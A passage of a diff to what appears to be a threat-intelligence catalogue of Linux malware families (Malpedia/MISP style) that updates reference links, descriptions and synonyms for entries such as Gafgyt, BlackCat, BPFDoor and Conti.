"https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/", - "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt" + "https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/", + "https://unit42.paloaltonetworks.com/new-hoaxcalls-ddos-botnet/", + "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", + "https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/", + "https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/", + "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://www.nozominetworks.com/blog/could-threat-actors-be-downgrading-their-malware-to-evade-detection/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf" ], "synonyms": [ "Gafgyt", @@ -3647,7 +3779,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bianlian", "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://rhisac.org/threat-intelligence/bianlian-ransomware-expanding-c2-infrastructure-and-operational-tempo/" + "https://rhisac.org/threat-intelligence/bianlian-ransomware-expanding-c2-infrastructure-and-operational-tempo/", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/" ], "synonyms": [], "type": [] @@ -3660,10 +3793,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost", - "https://twitter.com/strinsert1Na/status/1595553530579890176", "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/", "https://cyberandramen.net/2022/12/30/a-quick-look-at-elf-bifrose/", - "https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/" + "https://twitter.com/strinsert1Na/status/1595553530579890176" ], "synonyms": [ "elf.bifrose" @@ -3704,10 +3837,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackbasta", - "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview", "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview" + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html" ], "synonyms": [], "type": [] @@ -3720,30 +3853,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat", + "https://blog.group-ib.com/blackcat", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://twitter.com/sisoma2/status/1473243875158499330", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://killingthebear.jorgetesta.tech/actors/alphv", + "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://mssplab.github.io/threat-hunting/2023/07/13/malware-analysis-blackcat.html", + "https://securityintelligence.com/posts/blackcat-ransomware-levels-up-stealth-speed-exfiltration/", + "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.crowdstrike.com/blog/hypervisor-jackpotting-lack-of-antivirus-support-opens-the-door-to-adversaries/", "https://www.intrinsec.com/alphv-ransomware-gang-analysis/", "https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3", - "https://twitter.com/sisoma2/status/1473243875158499330", - "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", - "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", - "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", - "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", - "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", - "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", - "https://securelist.com/a-bad-luck-blackcat/106254/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", - "https://www.forescout.com/resources/analysis-of-an-alphv-incident", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/", - "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://blog.group-ib.com/blackcat", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://killingthebear.jorgetesta.tech/actors/alphv", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.forescout.com/resources/analysis-of-an-alphv-incident", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", + "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/" ], "synonyms": [ "ALPHV", @@ -3759,35 +3895,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter", - "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", - "https://twitter.com/VK_Intel/status/1423188690126266370", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://blog.group-ib.com/blackmatter#", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://blog.group-ib.com/blackmatter#", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", "https://blog.group-ib.com/blackmatter2", "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://twitter.com/VK_Intel/status/1423188690126266370", + "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.youtube.com/watch?v=NIiEcOryLpI" ], "synonyms": [], "type": [] @@ -3810,6 +3946,20 @@ "uuid": "a30aedcc-562e-437a-827c-55bc00cf3506", "value": "Blackrota" }, + { + "description": "According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blacksuit", + "https://blog.cyble.com/2023/05/12/blacksuit-ransomware-strikes-windows-and-linux-users/", + "https://www.trendmicro.com/en_us/research/23/e/investigating-blacksuit-ransomwares-similarities-to-royal.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5bdbeaae-0def-4547-9940-33ad94060955", + "value": "BlackSuit (ELF)" + }, { "description": "According to Mandiant, this malware family is attributed to potential chinese background and directly related to observed exploitation of Fortinet's SSL-VPN (CVE-2022-42475). There is also a Windows variant.", "meta": { @@ -3846,9 +3996,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago", "https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits", "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", - "https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github", + "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/", "https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/", - "https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/" + "https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github" ], "synonyms": [], "type": [] @@ -3861,16 +4011,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor", - "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://twitter.com/cyb3rops/status/1523227511551033349", + "https://unfinished.bike/fun-with-the-new-bpfdoor-2023", + "https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html", + "https://twitter.com/CraigHRowland/status/1523266585133457408", + "https://troopers.de/troopers22/talks/7cv8pz/", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor", "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/", "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896", - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://twitter.com/CraigHRowland/status/1523266585133457408", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor", + "https://www.bleepingcomputer.com/news/security/stealthier-version-of-linux-bpfdoor-malware-spotted-in-the-wild/", "https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/#", - "https://troopers.de/troopers22/talks/7cv8pz/" + "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://twitter.com/cyb3rops/status/1523227511551033349", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://nikhilh-20.github.io/blog/cbpf_bpfdoor/" ], "synonyms": [ "JustForFun" @@ -3898,12 +4054,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47", - "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", - "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/", "https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/", - "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html" + "https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/", + "https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", + "https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf" ], "synonyms": [], "type": [] @@ -3955,10 +4111,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked", - "https://blogs.cisco.com/security/linuxcdorked-faqs", "https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html", - "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", "https://www.symantec.com/security-center/writeup/2013-050214-5501-99", + "https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/", + "https://blogs.cisco.com/security/linuxcdorked-faqs", "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/" ], "synonyms": [ @@ -4013,8 +4169,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.chaos", - "https://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html", - "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/" + "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/", + "https://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html" ], "synonyms": [], "type": [] @@ -4054,8 +4210,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.clop", - "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", "https://www.helpnetsecurity.com/2023/02/07/cl0p-ransomware-decryptor-linux/", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", "https://www.sentinelone.com/labs/cl0p-ransomware-targets-linux-systems-with-flawed-encryption-decryptor-available/" ], "synonyms": [ @@ -4073,9 +4230,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cloud_snooper", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf", "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [ "Snoopy" @@ -4085,24 +4242,40 @@ "uuid": "0b1c514d-f617-4380-a28c-a1ed305a7538", "value": "Cloud Snooper" }, + { + "description": "ConnectBack malware is a type of malicious software designed to establish unauthorized connections from an infected system to a remote server. Once a victim's device is compromised, ConnectBack creates a covert channel for communication, allowing the attacker to remotely control and gather sensitive information from the compromised system.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.connectback", + "https://labs.sucuri.net/signatures/malwares/pl-backdoor-connectback-001/" + ], + "synonyms": [ + "Getshell" + ], + "type": [] + }, + "uuid": "82c57d1b-c11b-44f7-9675-2f0d23fb543f", + "value": "ConnectBack" + }, { "description": "Ransomware", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.justice.gov/opa/pr/multiple-foreign-nationals-charged-connection-trickbot-malware-and-conti-ransomware", "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", - "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", - "https://www.youtube.com/watch?v=cYx7sQRbjGA", - "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://damonmccoy.com/papers/Ransomware_eCrime22.pdf", "https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://www.youtube.com/watch?v=cYx7sQRbjGA" ], "synonyms": [ "Conti Locker" @@ -4112,26 +4285,13 @@ "uuid": "c1ab8323-ce61-409a-80f3-b945c8ffcd42", "value": "Conti (ELF)" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/elf.corona", - "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/" - ], - "synonyms": [], - "type": [] - }, - "uuid": "591b15c3-ab72-49ce-981a-e6e21e506e52", - "value": "Corona DDOS Bot" - }, { "description": "This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer", - "https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/", - "https://github.com/pooler/cpuminer" + "https://github.com/pooler/cpuminer", + "https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/" ], "synonyms": [], "type": [] @@ -4144,9 +4304,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r", - "https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html", + "https://www.bleepingcomputer.com/news/security/cr1ptt0r-ransomware-infects-d-link-nas-devices-targets-embedded-systems/", "https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html", - "https://www.bleepingcomputer.com/news/security/cr1ptt0r-ransomware-infects-d-link-nas-devices-targets-embedded-systems/" + "https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html" ], "synonyms": [ "CriptTor" @@ -4174,21 +4334,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", - "https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute", - "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", - "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", - "https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/", - "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/", + "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation", + "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf", - "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", - "https://www.justice.gov/opa/press-release/file/1491281/download", - "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", "https://attack.mitre.org/groups/G0034", - "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html" + "https://www.theregister.com/2022/03/18/cyclops_asus_routers/", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute", + "https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py", + "https://www.justice.gov/opa/press-release/file/1491281/download", + "https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/", + "https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/", + "https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/" ], "synonyms": [], "type": [] @@ -4197,19 +4357,20 @@ "value": "CyclopsBlink" }, { - "description": "", + "description": "According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.\r\n\r\nResearch shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dacls", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://blog.netlab.360.com/dacls-the-dual-platform-rat/", - "https://www.sygnia.co/mata-framework", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" + "https://www.sygnia.co/mata-framework", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://vblocalhost.com/uploads/VB2021-Park.pdf", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" ], "synonyms": [], "type": [] @@ -4222,11 +4383,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark", - "https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities", - "https://twitter.com/ESETresearch/status/1440052837820428298?s=20", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", "https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx", - 